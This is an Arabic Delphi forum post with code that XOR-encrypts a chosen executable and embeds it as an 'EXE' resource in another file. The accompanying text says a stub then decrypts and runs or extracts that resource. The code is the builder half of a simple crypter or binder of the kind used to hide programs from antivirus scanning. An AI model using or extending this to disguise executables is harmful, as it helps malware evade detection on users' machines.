05-07-2013, 12:38 PM
PHP كود :
var
Form1: TForm1;
bigstring:AnsiString;
implementation
{$R *.dfm}
function addsettings(text,sfile:string):Boolean;
var
FileHandle: THandle;
begin
Result:=False;
FileHandle := BeginUpdateReSource(PChar(sfile), False);
if UpdateResource(FileHandle, RT_RCDATA, 'EXE',0, @text[1], Length(text)+1) then
Result:=True;
EndUpdateReSource(FileHandle, False);
end;
function XorStr(Stri, Strk: String): String;
var
Longkey: string;
I: Integer;
Next: char;
begin
for I := 0 to (Length(Stri) div Length(Strk)) do
Longkey := Longkey + Strk;
for I := 1 to length(Stri) do
begin
Next := chr((ord(Stri[i]) xor ord(Longkey[i])));
Result := Result + Next;
end;
end;
function WriteFileFromString(sData:string; sPath:string):boolean;
var
hFile: THandle;
dWritten: DWORD;
begin
hFile := CreateFile(PChar(sPath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile <> 0 then
begin
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
WriteFile(hFile, sData[1], Length(sData), dWritten, nil);
if dWritten = 0 then
Result := FALSE
else
Result := TRUE;
end;
CloseHandle(hFile);
end;
function FileToString(const AFileName: string): AnsiString;
var
f: TFileStream;
l_onexite: Integer;
begin
Result := '';
f := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
try
l_onexite := f.Size;
if l_onexite > 0 then
begin
SetLength(Result, l_onexite);
F.ReadBuffer(Result[1], l_onexite);
end;
finally
F.Free;
end;
end;
function StringToFile(const FileName: string; const Text: AnsiString): boolean;
var f: integer;
begin
result := false;
f := FileCreate(FileName);
if f>=0 then
try
if Text<>'' then
FileWrite(f,Text[1],length(Text));
result := true;
finally
FileClose(f);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if not opendialog1.Execute then Exit;
edit1.Text := opendialog1.FileName ;
bigstring :=FileToString(opendialog1.FileName);
if not dlgSave1.Execute then Exit;
addsettings(XorStr(bigstring,'onexite') ,dlgSave1.FileName);
end;
end.
مهمته قراءة الرسورس RT_RCDATA, 'EXE وفك تشفيره
وتنفيذه او استخراجه الى القرص
بالتوفيق لك


![[-]](https://delphi4arab.net/forum/D4A2020/collapse.png)